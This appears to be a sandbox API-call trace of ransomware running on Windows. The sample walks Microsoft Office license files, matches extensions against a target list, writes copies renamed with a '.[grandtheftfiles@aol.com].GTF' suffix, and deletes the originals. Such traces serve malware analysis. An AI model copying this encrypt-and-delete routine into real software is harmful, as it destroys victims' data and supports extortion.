	[0173.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81
	[0173.745] lstrlenW (lpString=".jpg") returned 4
	[0173.745] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81
	[0173.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81
	[0173.745] lstrlenW (lpString=".doc") returned 4
	[0173.745] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.745] lstrlenW (lpString=".docx") returned 5
	[0173.745] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.745] lstrlenW (lpString=".pdf") returned 4
	[0173.745] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.745] lstrlenW (lpString=".xls") returned 4
	[0173.745] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.745] lstrlenW (lpString=".xlsx") returned 5
	[0173.745] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.745] lstrlenW (lpString=".ppt") returned 4
	[0173.746] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81
	[0173.746] lstrlenW (lpString=".zip") returned 4
	[0173.746] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.746] lstrlenW (lpString=".rar") returned 4
	[0173.746] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.746] lstrlenW (lpString=".bz2") returned 4
	[0173.746] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.746] lstrlenW (lpString=".7z") returned 3
	[0173.746] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81
	[0173.746] lstrlenW (lpString=".dbf") returned 4
	[0173.746] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81
	[0173.746] lstrlenW (lpString=".1cd") returned 4
	[0173.746] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81
	[0173.746] lstrlenW (lpString=".jpg") returned 4
	[0173.746] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.746] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0173.746] lstrlenW (lpString="HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 34
	[0173.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0173.747] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=11625) returned 1
	[0173.747] CloseHandle (hObject=0x48c) returned 1
	[0173.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms")) returned 0x220
	[0173.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0173.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0173.748] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.748] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0173.749] GetLastError () returned 0x0
	[0173.749] ReadFile (in: hFile=0x48c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x2d69, lpOverlapped=0x0) returned 1
	[0173.929] WriteFile (in: hFile=0x550, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0174.089] ReadFile (in: hFile=0x48c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.089] WriteFile (in: hFile=0x550, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x118, lpOverlapped=0x0) returned 1
	[0174.089] SetEndOfFile (hFile=0x550) returned 1
	[0174.090] CloseHandle (hObject=0x550) returned 1
	[0174.090] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.090] SetEndOfFile (hFile=0x48c) returned 1
	[0174.092] CloseHandle (hObject=0x48c) returned 1
	[0174.093] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0174.093] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms")) returned 1
	[0174.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84
	[0174.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84
	[0174.094] lstrlenW (lpString=".doc") returned 4
	[0174.094] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.094] lstrlenW (lpString=".docx") returned 5
	[0174.094] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.094] lstrlenW (lpString=".pdf") returned 4
	[0174.094] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.094] lstrlenW (lpString=".xls") returned 4
	[0174.094] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.094] lstrlenW (lpString=".xlsx") returned 5
	[0174.094] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.094] lstrlenW (lpString=".ppt") returned 4
	[0174.094] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84
	[0174.094] lstrlenW (lpString=".zip") returned 4
	[0174.094] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.094] lstrlenW (lpString=".rar") returned 4
	[0174.094] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.094] lstrlenW (lpString=".bz2") returned 4
	[0174.094] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.094] lstrlenW (lpString=".7z") returned 3
	[0174.094] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84
	[0174.094] lstrlenW (lpString=".dbf") returned 4
	[0174.094] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84
	[0174.094] lstrlenW (lpString=".1cd") returned 4
	[0174.094] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84
	[0174.095] lstrlenW (lpString=".jpg") returned 4
	[0174.095] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84
	[0174.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84
	[0174.095] lstrlenW (lpString=".doc") returned 4
	[0174.095] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.095] lstrlenW (lpString=".docx") returned 5
	[0174.095] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.095] lstrlenW (lpString=".pdf") returned 4
	[0174.095] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.095] lstrlenW (lpString=".xls") returned 4
	[0174.095] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.095] lstrlenW (lpString=".xlsx") returned 5
	[0174.095] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.095] lstrlenW (lpString=".ppt") returned 4
	[0174.095] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84
	[0174.095] lstrlenW (lpString=".zip") returned 4
	[0174.095] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.095] lstrlenW (lpString=".rar") returned 4
	[0174.095] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.095] lstrlenW (lpString=".bz2") returned 4
	[0174.095] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.095] lstrlenW (lpString=".7z") returned 3
	[0174.095] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84
	[0174.095] lstrlenW (lpString=".dbf") returned 4
	[0174.095] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84
	[0174.095] lstrlenW (lpString=".1cd") returned 4
	[0174.095] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84
	[0174.096] lstrlenW (lpString=".jpg") returned 4
	[0174.096] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.096] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0174.096] lstrlenW (lpString="HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 32
	[0174.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0174.096] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=21606) returned 1
	[0174.096] CloseHandle (hObject=0x48c) returned 1
	[0174.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms")) returned 0x220
	[0174.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0174.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0174.097] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.097] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0174.098] GetLastError () returned 0x0
	[0174.098] ReadFile (in: hFile=0x48c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x5466, lpOverlapped=0x0) returned 1
	[0174.126] WriteFile (in: hFile=0x550, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x5470, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x5470, lpOverlapped=0x0) returned 1
	[0174.127] ReadFile (in: hFile=0x48c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.127] WriteFile (in: hFile=0x550, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x114, lpOverlapped=0x0) returned 1
	[0174.127] SetEndOfFile (hFile=0x550) returned 1
	[0174.133] CloseHandle (hObject=0x550) returned 1
	[0174.133] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.133] SetEndOfFile (hFile=0x48c) returned 1
	[0174.137] CloseHandle (hObject=0x48c) returned 1
	[0174.137] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0174.138] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms")) returned 1
	[0174.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82
	[0174.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82
	[0174.139] lstrlenW (lpString=".doc") returned 4
	[0174.139] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.139] lstrlenW (lpString=".docx") returned 5
	[0174.139] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.139] lstrlenW (lpString=".pdf") returned 4
	[0174.139] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.139] lstrlenW (lpString=".xls") returned 4
	[0174.139] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.139] lstrlenW (lpString=".xlsx") returned 5
	[0174.139] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.139] lstrlenW (lpString=".ppt") returned 4
	[0174.139] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82
	[0174.139] lstrlenW (lpString=".zip") returned 4
	[0174.139] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.139] lstrlenW (lpString=".rar") returned 4
	[0174.139] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.139] lstrlenW (lpString=".bz2") returned 4
	[0174.139] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.139] lstrlenW (lpString=".7z") returned 3
	[0174.139] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82
	[0174.139] lstrlenW (lpString=".dbf") returned 4
	[0174.139] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82
	[0174.139] lstrlenW (lpString=".1cd") returned 4
	[0174.139] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82
	[0174.139] lstrlenW (lpString=".jpg") returned 4
	[0174.139] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82
	[0174.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82
	[0174.140] lstrlenW (lpString=".doc") returned 4
	[0174.140] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.140] lstrlenW (lpString=".docx") returned 5
	[0174.140] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.140] lstrlenW (lpString=".pdf") returned 4
	[0174.140] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.140] lstrlenW (lpString=".xls") returned 4
	[0174.140] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.140] lstrlenW (lpString=".xlsx") returned 5
	[0174.140] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.140] lstrlenW (lpString=".ppt") returned 4
	[0174.140] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82
	[0174.140] lstrlenW (lpString=".zip") returned 4
	[0174.140] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.140] lstrlenW (lpString=".rar") returned 4
	[0174.140] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.140] lstrlenW (lpString=".bz2") returned 4
	[0174.140] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.140] lstrlenW (lpString=".7z") returned 3
	[0174.140] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82
	[0174.140] lstrlenW (lpString=".dbf") returned 4
	[0174.140] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82
	[0174.140] lstrlenW (lpString=".1cd") returned 4
	[0174.140] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82
	[0174.140] lstrlenW (lpString=".jpg") returned 4
	[0174.141] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.141] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0174.141] lstrlenW (lpString="HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 35
	[0174.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0174.141] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=11612) returned 1
	[0174.141] CloseHandle (hObject=0x48c) returned 1
	[0174.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms")) returned 0x220
	[0174.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0174.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0174.142] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.142] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0174.143] GetLastError () returned 0x0
	[0174.143] ReadFile (in: hFile=0x48c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x2d5c, lpOverlapped=0x0) returned 1
	[0174.145] WriteFile (in: hFile=0x550, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2d60, lpOverlapped=0x0) returned 1
	[0174.146] ReadFile (in: hFile=0x48c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.146] WriteFile (in: hFile=0x550, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x11a, lpOverlapped=0x0) returned 1
	[0174.146] SetEndOfFile (hFile=0x550) returned 1
	[0174.146] CloseHandle (hObject=0x550) returned 1
	[0174.146] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.146] SetEndOfFile (hFile=0x48c) returned 1
	[0174.149] CloseHandle (hObject=0x48c) returned 1
	[0174.149] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0174.150] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms")) returned 1
	[0174.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85
	[0174.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85
	[0174.151] lstrlenW (lpString=".doc") returned 4
	[0174.151] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.151] lstrlenW (lpString=".docx") returned 5
	[0174.151] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.151] lstrlenW (lpString=".pdf") returned 4
	[0174.151] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.151] lstrlenW (lpString=".xls") returned 4
